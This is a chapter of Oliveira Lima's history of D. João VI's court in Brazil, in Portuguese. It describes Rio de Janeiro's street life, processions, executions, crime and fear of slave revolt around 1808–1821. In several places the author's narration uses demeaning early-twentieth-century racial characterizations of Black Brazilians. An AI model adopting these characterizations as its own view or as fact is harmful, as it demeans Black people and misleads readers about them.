O ESPETÁCULO DAS RUAS – D. João VI no Brasil – Oliveira Lima

O ESPETÁCULO DAS RUAS – D. João VI no Brasil – Oliveira Lima

D. João VI no Brasil – Oliveira Lima

CAPÍTULO XXV

O ESPETÁCULO DAS RUAS

 

Nunca,
como em tempo de Dom João VI,
foi a corte do Rio de Janeiro
tão animada, nem as suas ruas tão pitorescas. Formigavam nelas tipos hoje
desaparecidos e que eram representativos de outros costumes e de outras idéias,
os andadores das almas e pedintes de irmandades por exemplo, com suas opas
verdes, escarlates e azuis, estendendo aos transeuntes e abrindo debaixo das
janelas os largos sacos vermelhos que traziam cosida a imagem do Santo ou da
Virgem, gravada numa pesada chapa de prata; ou os cumpridores de promessas
devotas, tirando por humildade cristã e não por necessidade esmolas para uma
missa em ação de graças.

As
superstições continuam a florescer na nossa capital fluminense — um recente e
curioso inquérito sobre as religiões do Rio o demonstrou, exibindo nomeadamente
em toda a sua crueza as grotescas e terríveis superstições negras — mas não
mais se ostentam como quando percorriam a cidade os vendedores de arruda, que
todas as negras compravam para se preservarem de feitiçarias; ou se dava em
cheio com um ruidoso funeral de filho de rei africano (o qual continuara na
escravidão a exercer prestígio e autoridade sobre os ex-vassalos de seu pai),
cujo cadáver fora velado por deputações das diferentes nações da Costa, e se
transportava numa rede, precedida de um negro atirando foguetes e bombas e de
outros executando em todo o percurso cabriolas pelo chão, e seguida de uma multidão
cor de ébano, em parte silenciosa, lúgubre e burlesca a um tempo, em parte
tangendo instrumentos esquisitos e entoando cantigas estridentes.

Era
sobretudo a população de cor que emprestava à capital do Reino Unido de
Portugal, Brasil e Algarves o seu aspecto estranho e único na monarquia,
compartilhado é claro pelas outras cidades do litoral brasileiro. Em Lisboa,
não obstante o forte contingente africano, predominavam os
brancos; nas possessões d’África os negros estavam quase sós; no Rio de Janeiro
era que se equilibravam em número descendentes de europeus e
de africanos, avolurnando-se constante e simultaneamente ambas as correntes
com a enxurrada de reinóis atraídos pela corte e as levas de escravos arrebanhados
pelos negreiros.

As numerosas e impressivas litografias que acompanham o
texto das obras de Debret e de Chamberlain, e que são a mais
completa e interessante documentação artística da residência americana de Dom
João VI, fornecem uma idéia bastante precisa do
que era o carnaval perpétuo dessa cidade sob muitos aspectos
ainda colonial, sob outros, não menos abundantes, exótica, e apenas cortesã por algumas,
mais raras, feições.

Daria ocasionalmente esta última nota uma traquitana de desembargador
da Casa da Suplicação, com sua beca de seda negra e ao pescoço o
colar carmesim de Cristo, ou a sege de um ministro d’estado, escoltada pelos
correios a cavalo, de farda azul com golas e punhos vermelhos agaloados
de ouro, botas altas e chapéu armado de oleado. Muito mais freqüentes
apareciam no entanto outros espetáculos, menos aristocráticos. Ora seria um batizado de
negros novos, com seus padrinho e madrinha de
cor, espaventosamente vestidos; ora um casamento de mucama e copeiro de casa de tratamento; ora um enterro de
anjinho preto, cujo corpi nho, quando o permitiam as posses dos pais, era
levado numa vistosa cadeirinha adrede alugada-, ou pelo menos carregado sem
acompanhamento num singelo
taboleiro, com flores artificiais espetadas nos quatro cantos. Aos enterros dos negros adultos concorriam sempre
um mestre de cerimônias de vara na
mão e transudando importância, um rufador de caixa-tambor e algumas
carpideiras que salmodiavam e batiam palmas para acompanharem o ritmo do pranto. Se de todo era destituída de bens a
gente do morto, o corpo expunha-se na
rua dentro da rede mortuária, a fim de recolher
os óbolos dos viandantes que permitissem a inurnação, a qual sempre custava alguma coisa. Não havia risco de
ficar um cadáver insepulto, porque a
caridade dos próprios negros se manifestava infalivelmente para com os
falecidos irmãos desvalidos.

Semelhantes cortejos,
festivos e fúnebres, de contínuo os oferecia a cidade no seu ar
pronunciadamente africano, que foi perdendo depois da abolição
do tráfico, da progressiva extinção dos negros da Costa, do aumento
da imigração européia e da diluição dos mestiços na população branca,
ganhando de todo, senão a cor, os modos e o aspecto geral e uniforme do
resto da gente. Noutros tempos, porém, desempenhavam os pretos papel
muito considerável na vida quotidiana da cidade, na sua existência econômica e na sua existência doméstica, e
se por um lado se achavam então mais perto, pela constante importação dos seus
contingentes, da primitiva selvajaria, por outro tinham basto ensejo de dar
largas a todas suas qualidades de dedicação e afetividade.

Como, sem
faltar à verdade de uma reconstrução literária, expulsar do tablado fluminense
da época esse mundo animado de barbeiros ambulantes armados de medonhas
navalhas, cesteiros vendendo os samburás que teciam, mercantes de galinhas, de
caça, de palmitos, de leite, de capim para forragem, de milho, de carvão, de
cebolas e alhos, de sapé para colchões, quitandeiras de angu e café,
carregadores, condutores de carros de bois que chiavam desesperadamente pelas
ruas sem calçamento ou guarnecidas de lajes, puxadores de carretas com fardos,
quatro adiante e dois atrás empurrando, à moda japonesa? Na própria rua do
Ouvidor, que já armava pretensões a elegante, abundaram os barbeiros pretos até
algum tempo depois da chegada da família real, quando ali se estabeleceu, com
suas pomadas e loções perfumadas, o cabeleireiro da corte Monsieur Catilino, e
abriu loja a costureira da moda, Madame Josephine.

Assim
perpassava o incessante movimento popular de negra algazarra e negra alegria,
que variavam raras carruagens e menos raras cadeirinhas, particulares ou de
aluguel, de que costumavam utilizar-se com muito garbo as mulatas da vida
airada, inculcando-se a si e ao seu luxo. Os palanquins em que se pavoneavam
estas sacerdotizas do amor fusco tinham, muito deles, a coberta toda enfeitada
de esculturas douradas e fechavam-se dos lados com pesadas cortinas de veludo e
seda, bem agaloadas.838

Afora
esse bulício normal, as ruas do Rio de Janeiro mais vida ainda tomavam amiúdo
com as funções do culto, entre as quais primavam as procissões, que eram
repetidas, fornecendo ocasião e pretexto para as elegâncias femininas e as
pompas das irmandades. Debret enumera e descreve sete principais: a de São
Sebastião, a 28 de janeiro, oito dias depois da festa do padroeiro da cidade; a
de Santo Antônio, na quarta-feira de Cinzas; a do Senhor dos Passos, na segunda
sexta-feira da quaresma; a do Triunfo, na sexta-feira que precede o domingo de
Ramos; a do Enterro, na sexta-feira santa; a do Corpo de Deus, e a da
Visitação, a 2 de julho, todas com o seu infalível cortejo de soldados de
barretina dependurada do antebraço, estandartes e guiões religiosos, congregações
sacras e leigas, músicos e cantores da Real Capela, camaristas e outras
pessoas gradas, inclusive os mais elevados figurões da corte, nos seus
uniformes bordados.

 

Passavam
os préstitos ao som das músicas, dos cânticos e dos foguetes por entre
multidões compactas que acudiam por devoção e por prazer, havendo sempre nesses
dias um farto negócio de doces e bolos com que lucravam as negras quitandeiras,
e um grande comércio de balas, cuja lo jinha mais reputada e afreguesada ficava
à rua da Ajuda.

Na
procissão de São Sebastião o orago ostentava a fita e placa em diamantes de
comendador de Cristo, cuja patente recebera e cuja tença era aplicada ao
custeio da sua capela. Mais brilhante e vistosa desfilava porém a de Santo
Antônio, que saía do convento dos franciscanos, com um sem número de imagens e
grupos resplendentes no meio das gazes de ouro e prata simulando nuvens
iluminadas pelos raios do sol, donde espreitavam curiosamente o mundo
rostinhos de querubins.

Tudo
no cortejo era rico e aparatoso, contrastando com a pobreza regulamentar da
Ordem: os anjinhos de saias tufadas de bailarinas, carregada com os adereços
de família; os andores recobertos de veludo carmesim franjado de ouro; as
velas, obras-primas dos cerieiros, com flores de mil cores, aves fantásticas e
cabecinhas aladas; as enormes estátuas vestidas de sedas claras e paramentadas
de jóias. Com os santos populares, que eram muitos, incluindo o preto São
Benedito, alternavam um rei, uma rainha, um papa com seu sacro colégio de
cardeais e São Luiz Rei de França transportando os três cravos e a coroa de
espinhos, mas, sem respeito algum pelas tradições dos alfaiates medievais,
regressando da cruzada com um fato do século XVII, cabeleira de médico de Molière e mantéu estrelado de
mágico. 

A
procissão dos Passos era toda de uma tonalidade roxa. A imagem carregava-se na
véspera à noite para o templo donde tinha de sair o présti-to a fim de voltar à
primitiva igreja, e ali afluía a população inteira a beijar o pé machucado e
ferido do Senhor. Cada ano repetia-se com a mesma concorrência a cerimônia
devota, que oferecia um ponto de reunião e ensejo para a exibição de vestuários
e exercícios de namoro.

As
procissões constituíam, com as noitadas já tradicionais e um tanto abandonadas
do Passeio Público e as representações no teatro, as grandes para não dizer
únicas distrações fluminenses no tempo d’el-rei Dom João Vi, mas nada se
comparava, pelo encanto na união do místico e do profano, àquele beija-pé da
segunda sexta-feira da quaresma. Sobressaíam na multidão as mulheres. Velhas e
moças, fidalgas, burguesas, mucamas e prostitutas, todas corriam a prostenar-se
na capela e todas faziam alarde de garridice igual: as prostitutas de corpetes
de sedas vivas, saias de cambraia da Índia ou de renda sobre um fundo de seda,
meias de seda branca e sapatos de cores variadas. Ao sair para refazer
em sentido inverso o trajeto da noite anterior, ia o andor rodeado de
lanternas de metal dourado na ponta de longas hastes, levadas por pessoas de
distinção, e guardado por archeiros do Paço com suas alabardas e no seu
uniforme peculiar,
ainda hoje usados pelos de Portugal.

Na procissão do Triunfo
figuravam todos os passos da Paixão de Cristo, e Nossa Senhora das
Dores com o coração golpeado por sete espadas gotejantes de sangue. Na do
Enterro misturavam-se penitentes sombrios, de capuz cobrindo toda a
cara, apenas com orifícios nos lugares dos olhos, e
soldados romanos armados de ponto em branco, sob o comando de um centurião
de capacete descomunal. O corpo de Jesus, coberto por um lençol
franjado de ouro, era seguido de uma Madalena de carne e osso, representada,
em homenagem por certo à moral, por um mancebo vestido de mulher.

A procissão do Corpo de Deus, bem viva
ainda na lembrança popular, assemelhava-se sem tirar nem pôr a uma mascarada,
compreendendo São Jorge a cavalo, o homem de ferro, picadores e cavalos
ricamente ajae-zados da Real Casa, músicos negros de vestes escarlates,
atiradores de foguetes: uma palheta de cores opostas nas peles e nos
estofos, uma galeria de trajos de estilos e feitios os mais diversos, uma
combinação espavento-sa de cetins e veludos, ornatos de ouro e prata,
brocados raros e fitas garridas.

O último dos préstitos religiosos saía
da Capela Real levando a imagem da Virgem e encontrava-se a meio
caminho com a irmandade da Misericórdia transportando Santa Isabel,
mãe de São João Batista. Dava-se então na rua e ao natural a cena da Visitação:
as duas imagens tocavam-se e beijavam-se seguindo juntas pára a Misericórdia
onde, reunida no interior da igreja a diretoria desta instituição pia, cuja
opulência e extensiva caridade acreditariam qualquer sociedade, prestava conta
pública da sua gerência
anual.

Esta procissão da
Visitação era festa municipal por excelência, empunhando os camaristas o
palio, precedidos dos vereadores, maceiros e outros oficiais do
Senado. Qualquer das festas, porém, significava o templo
da sua celebração todo enfeitado pelos armadores com panos de damasco
carmesim, galões de ouro e prata e guarnições de gaze prateada; iluminado
pelos círios dos castiçais e velas dos candelabros, que faziam brilhar os vasos
dourados, as cercaduras trabalhadas dos altares e os res-plendores
dos santos; perfumado pelas ervas e ramagens espargidas sobre os
tapetes ou sobre as lajes, e pisadas pelos magotes de fiéis que se apinhavam
presos de curiosidade, ávidos de distração ou sacudidos de fervor religioso.

Fora das igrejas, as festas do culto traduziam-se por
outras muitas manifestações, invariavelmente ruidosas e joviais. Eram o
foguetório característico dos préstitos e arraiais portugueses; os
animados leilões de prendas em benefício do padroeiro; as cantigas e danças
variadas de gentes de variadas origens, casando-se o fandango com o
batuque. Das janelas, nas ruas percorridas pelo cortejo, pendiam as colchas de
damasco da índia e de seda da China e os panos de veludo debruados de
ouro sobre que se debruçavam princesas e damas da corte com turbantes
de gaze, diademas de brilhantes e grandes plumas no toucado, e senhoras
abastadas enfarpeladas de seda, decotadas à luz do dia e pesadas de
jóias. As ruas juncavam-se de palmas e folhagens e, depois do sol posto,
aclaravam-se com as velas de sebo colgadas pelas armações de latão
nas fachadas das casas, com espelhos por trás para lhes refletir a fraca
chama. Por essas ruas, decoradas e clareadas, se escoava num rumor
prazenteiro a assistência
congregada de longe para a função.

Para as mulheres essas festas, então,
tinham o melhor dos atrativos. Para as fluminenses tafulas da época as
procissões eqüivaliam ao que para as parisienses de hoje
são as corridas de Longchamps: o lugar e o momento de estrearem
novos vestidos e arvorarem novas galas. Para as que não
eram sécias, sempre havia o encanto de um luxozinho a mais, quando não
de um namorico. O espetáculo mesmo em si era tão apurado e decorativo
que, com todos seus preconceitos britânicos e protestantes, não pôde Henderson
deixar de observar que o efeito atingido devia qualificar-se de imponente (the
general effect of the whole was very imposing).

Uma procissão diária nas ruas do Rio
de Janeiro ou de qualquer outra das nossas cidades coloniais, era a
do Viático, o conhecido Nosso Pai, levado aos moribundos e
doentes debaixo do palio ou da umbela, segundo o acompanhamento
ia mais ou menos luxuoso. Ladeavam o sacerdote os irmãos do
Santíssimo, de opa vermelha, um tangendo a campainha sem parar,
outros alçando a cruz e ps castiçais. A estes se agregava um sem número
de devotos entoando a ladainha e assim fazendo acompanhamento vocal à música
militar, de trombetas ou de tambor e pífano segundo a arma, que precedia a guarda chamada do posto mais próximo, e marchando com as espingardas em funeral e a
barretina na mão ou segura ao braço pela correia do queixo.

Todas as igrejas repicavam
à passagem do cortejo sagrado, o qual nc caso de chuva, se reduzia
ociosamente a uma sege a passo, conduzindo o sacerdote, o cibório e o
sacristão a cruz e uma lanterna de prata, e indo ao lado do carro um
negro a pé, tocando a sineta. No caso de ser o enfermo que esperava o
sacramento membro da família real ou empregado da real
casa, o padre era transportado num coche do Paço com criados de libré,
a cavalo, para carregarem os tocheiros e tangerem a campainha que provocava
as orações e evocava no espírito dos transeuntes ajoelhados uma simpatia dolorida.

Menos freqüentemente do que
os séquitos religiosos, percorria as ruas da cidade o bando
municipal proclamando aos habitantes algum acontecimento,
auspicioso ou lutuoso, ocorrido na corte. Formavam-no os mei rínhos
a cavalo, os almotacés,839 os vereadores vestidos de negro com gola e
punhos de renda branca e chapéu preto de plumas brancas, montados em
animais ajaezados, empunhando o estandarte desfraldado, e várias pessoas
de posição em grande uniforme, nas suas carruagens, precedendo o préstito
a cavalaria da polícia e seguindo-o a música de um regimento da milícia.

Outros muitos espetáculos curiosos
ofereciam ainda as ruas do Rio de Janeiro, muito concorridas não só de
negros e mulatos, como de grande número de ciganos, vindos não se
sabe bem donde, de espanhóis do Prata, fugidos à guerra civil, e de marinheiros
estrangeiros, ingleses sobretudo, desembarcados dos numerosos
vasos de guerra e navios mercantes. Entre os nacionais da
melhor classe a vista era interessante da variedade de modas, espelho da
variedade de opiniões, trajando uns à antiga, de chapéu armado e
espadim, outros à inglesa, sem cabeleira, de meias botas, longa sobrecasaca
e chapéu de castor.

A nota popular era entretanto a mais
divertida sempre. Um dos folguedos mais animados dos tempos
coloniais costumava ser, no sábado santo, a queima do Judas,
representado por uma figura grotesca, cavalgada pelo diabo em pessoa e que,
recheada de bombas, se fazia explodir e se despedaçava ao romper da
aleluia, por entre o entusiasmo da multidão.

Depois da chegada da corte, este
divertimento ruidoso foi proibido para evitar ajuntamentos
que por muita jovialidade se podiam facilmente tornar desordeiros.
E bem avisado andou o Intendente geral da polícia, pois que no sábado santo de
1821, três dias antes do embarque da corte para Lisboa, um magote
compacto de arruaceiros enforcou e queimou em efígie a céu
descoberto, em vez do Judas tradicional, alguns personagens conspícuos da
administração, entre eles o próprio Intendente geral e o comandante
militar da polícia. Com esta variante nos traidores imolados, recomeçou
aliás o divertimento sem nada perder da sua popularidade.

 

Continuara porém a
efetuar-se sob Dom João VI a
conhecida mascarada
do imperador do Espírito Santo, tom que contrastava a tocante cerimônia do bodo aos presos, que não eram então
sustentados pelo Estado mas tão somente pela caridade pública, atirando-lhes
esmolas os transeuntes e mandando-lhes diariamente a irmandade da
Misericórdia, pelos calcetas destacados para esse serviço de abastecimento,
sopa e farinha. O grande jantar da
festa de Pentecostes era contudo levado processionalmente de véspera à prisão, em carroças atochadas de
comestíveis, pelas irman dades do
Santíssimo com os seus estandartes erguidos, música e grande

acompanhamento.

A clemência do rei, denotando-se pelas constantes
comutações de penas últimas, raramente permitiu ao contrário que durante
sua estada no Brasil cruzasse as ruas da capital o sinistro préstito
dos condenados à morte. Refere Debret que em quinze anos de residência no Rio
apenas assistiu a duas execuções, uma delas já sob o império e política,
tendo sido preciso que se desencadeassem as ferozes paixões partidárias
para que uma outra revolução pernambucana, a de 1824, oferecesse a Dom
Pedro I para fazer por assim dizer reviver,
com o cortejo dos sentenciados d’estado, um espetáculo quase desaparecido no teatro
fluminense.

Bem lúgubre aliás a cena.
Caminhava o réu de alva, os pés descalços o crucifixo nas mãos
ligadas e a corda no pescoço, com as duas pontas para trás seguras, assim com a
calda da alva, por um dos dois carrascos negros acorrentados.
Sustentavam o mísero seus confessores e guardava-: a
irmandade da Misericórdia, que tomava conta do cadáver, para lhe da: sepultura,
depois que o atiravam abaixo da forca, onde ele se balouçar: espectral, de
capuz puxado sobre o rosto, cavalgado nos ombros por um dos algozes, para fazer
peso, no momento em que a corda se enrolava t

o nó se apertava…

Quando
o corpo era de um condenado pelo crime de parricídio cortavam-se-lhe a cabeça e mãos para ficarem expostas às vistas do
públi co aterrado e à voracidade dos urubus.

A falta de segurança,
efeito da alteração da vida coletiva, não da comiseração regia,
convertera-se numa das feições piores da existência flu minense.
Os escritores estrangeiros do começo do reinado americanc de Dom
João VI a não mencionam, ao passo que os do fim a relatam demo radamente.
Os assaltos noturnos tinham-se tornado comuns. Conta um Leithold — a quem
doutra vez, quando ausente arrombaram os ladrões a porta e carregaram
toda a bagagem, inclusive o seu uniforme de capitão de
hussardos — que regressando uma noite a pé do teatro, foi perseguido

 

por uma quadrilha de negros armados, devendo a salvação à
pusilanimidade dos atacantes mais do que ao próprio sangue frio,
pois que, embora mostrando disposição de defender-se, deixara dominar-se
pelo terror.

Queixando-se ele no dia
imediato do ocorrido ao cunhado, Silvestre Pinheiro Ferreira
informou-o de que nas noites precedentes a polícia recolhera
à cadeia não menos de 300 indivíduos de cor, cada um dos quais tinha
uma faca que facilmente passariam de vagabundos a agressores. Seis anos
antes de von Leithold, já Marrocos escrevia ao pai840 que cidade e subúrbios
andavam infestados de ladrões, cujas proezas começavam logo à
boca da noite, acometendo transeuntes, pilhando casas e muitas vezes completando o roubo pelo
assassinato.841

"Tem sido tal o seu descaramento que até avançam a
pessoas mais distintas e conhecidas, como foi o próprio chefe da
polícia; o chefe de Divisão José Maria Dantas recebeu por grande favor duas
tremendíssimas bofetadas por cair no erro de trazer pouco dinheiro,
depois de lhe roubarem o relógio etc. Além disto tem degolado várias
mulheres, depois de sofrerem outros insultos; o que tudo têm dado que fazer ao
Corpo da Polícia, e não sendo este suficiente para as rondas e patrulhas,
multiplicadas em todas as ruas, o intendente mandou armar e apontar todas
as justiças de paisanos para ajudarem as da polícia; mas os pobres
Aguazis até já foram acometidos e insultados pelas grandes quadrilhas
de ladrões, que lhes tem dado coças. Com efeito grande número deles
foram já presos, e estão bastante sentenciados a pena última, dos quais
vão amanhã 3 para o Oratório. Faz-se agora um novo recrutamento muito
rigoroso em conseqüência daqueles sucessos, e para se aumentar o Corpo de
Polícia e os outros regimentos; pois o caso está muito sério, por não
poder-se andar na rua muito tarde. Eu recolho-me às oito horas da noite
e nunca as minhas digressões se extendem para longe, mas só se
limitam a casa de Feli-ciano
palestrar com o meu velho padre Mazzoni."

Na carta de 8 de junho de 1818 referia Marrocos
continuar a perseguição aos ladrões e assassinos, tendo havido em abril 28
mortes violentas: o que mostra que de pouco ou nada valeram as
providências tomadas e que o mal era grave. Maler confirma842 que
os assassinatos na cidade e arredores se tinham tornado
freqüentíssimos e muitos com circunstâncias bárbaras. A polícia
chegava a prometer recompensas a quem descobrisse os malfeitores, não
surtindo as mais das vezes efeito o recurso. Contudo, à data do
ofício de Maler, havia 83 indivíduos presos e condenados à
pena capital por homicídio, alguns até reincidentes, sem que se lhes aplicasse a sentença por
falta de assentimento real.

 

Em condições tais de
inseguridade, não é de admirar que reinasse na capital, senão um
terror negro, uma apreensão bastante forte de um levante
da gente de cor. Os atrozes feitos de São Domingos estavam ainda frescos
nas memórias e no próprio Brasil, na Bahia, se dera "um grande tumulto
de negros" que causou grande susto e teve sua importância. Dos historiadores
penso ser Handelmann o único que lhe faz referências, mas a
correspondência de Marrocos843 supre uma vez mais a falta e indica
que o Rio
ouviu com temor a relação do ocorrido em São Salvador.

"…: eles mataram muitos brancos, e alguns eram negociantes;
alguns soldados também foram mortos, assim como outros negros,
que não queriam associar-se ao tumulto. Lançaram fogo a muitos
engenhos, aos armazéns da pesca da Baleia, e a mil outras partes, de
maneira que se afirma que só a Fazenda Real perdera mais de 300$ cruzados. É
muito para se temerem ali estes acontecimentos; porque tem os
negros a boa circunstância de não se unirem nas suas senzalas e ranchos,
senão os filhos da sua mesma terra, e não acompanham, nem contraem amizade
com outros; e como é imensa a variedade de nações deles,844
não se unindo elas, vem a ser os ranchos de cada uma pouco numerosos; isto
sucede aqui no Rio de Janeiro, onde entram negros de todas as nações, e
por isso inimigos uns dos outros. Porém na Bahia por uma inclinação
natural dos habitantes, entram só negros da Costa da Mina, e muito
poucos de alguma outra nação, sendo por esse motivo todos eles patrícios,
companheiros e amigos; e em qualquer desordem, ou tumulto, todos são unânimes,
como neste se acharam, e só mataram os que não eram seus
patrícios. A muita liberdade, que o governador lhes tem dado, e o pouco caso
que faz das suas desordens, julgando-os incapazes de empresas
grandes, produziram talvez esta explosão, que há de ficar em lembrança: com
efeito conseguiu-se prender 10 negros e os mais, que eram em grande número,
fugiram para o
mato, e ali se embrenharam."

Se à noite inspiravam pavor, de dia
recobravam as ruas do Rio de Janeiro a sua alacridade,
pois que de todo tempo e naquele especialmente foram, ao que
parece, concorridas, alvoroçadas e barulhentas. Pelo calçamento
de pedra extraída dos grandes morros de granito que expõem ac sol
coruscante os seus flancos nus, e pela estreiteza das bitesgas que, após
semanas de seca se cobrem de um pó fino, que acinzenta a atmosfera, co mo
que naquelas ruas ressoam dobrado todos os ruídos. Alarido maior do que as
recuas de mulas ariscas galopando atrás da madrinha e tangidas
dos lados da cidade nova pelos tropeiros paulistas armados de chicote,
ou do que os bandos de negros ganhadores transportando fardos e sempre
entoando cantigas que só interrompiam para se persignarem diante de
cada retábulo de santo ou das almas do purgatório, faziam porém pelas
raras praças e numerosas yielas ou estradas, os batedores e cadetes que
precediam e rodeavam as carruagens reais, compelindo os estrangeiros — os
nacionais não ousariam esquivar-se à usança — a desmontarem das suas
cavalgaduras ou apearem-se dos seus carros para saudar, de chapéu na mão e dorso curvado,
a augusto passeante.

A residência da família real tivera também por efeito
adicionar um elemento novo e precioso às antigas diversões e folganças
da colônia, e vinha a ser o espetáculo das festas de corte, das quais o
anterior viver dos vice-reis mal podia dar uma idéia. Não eram tanto as
paradas militares, as procissões religiosas, o Te-Deums e réquiems nas
igrejas, as luminárias e fogos de artifício agora empregados para celebrar os
aniversários das pessoas reais ou festejar a chegada de novas felizes da
guerra peninsular, o que excitava a curiosidade e despertava a admiração,
como eram as cerimônias peculiares à monarquia. A população do Rio de
Janeiro nem podia bem imaginar o que deviam ser os cortejos esplêndidos
da realeza em toda sua pompa legendária. Entretanto entraram tais
cortejos súbito a surgir para sacudir o torpor da pacata cidade ao mesmo
tempo que lhe emprestavam feições bem acentuadas de elegância, de
distinção e de luxo.

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